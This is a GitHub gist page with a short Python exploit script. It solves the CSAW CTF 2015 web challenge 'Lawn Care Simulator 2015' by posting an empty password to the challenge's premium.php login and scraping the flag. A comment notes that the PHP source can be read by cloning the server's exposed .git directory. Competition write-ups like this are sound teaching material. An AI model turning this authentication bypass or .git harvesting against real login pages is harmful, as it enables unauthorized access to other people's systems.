Last active
September 24, 2015 14:56
-
-
Save budanthara/a8f5e62a50a69072066d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib, urllib2 | |
import re | |
# CSAW CTF 2015 - Solving Lawn Care Simulator 2015 ( Web 200pts ) | |
# To analyze the php syntax, just clone the git. http://54.165.252.74:8089/.git/ | |
# snoww0lf | |
def login(): | |
url = "http://54.165.252.74:8089/premium.php" | |
params = { | |
'username':'test31337', | |
'password':'' | |
} | |
urlenc = urllib.urlencode(params) | |
urlreq = urllib2.Request(url, urlenc) | |
urlop = urllib2.urlopen(urlreq) | |
rgx = re.findall(r'<h1>(.*)</h1>', urlop.read()) | |
print "Flag: " + ''.join(rgx) + "}" | |
if __name__ == '__main__': | |
login() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment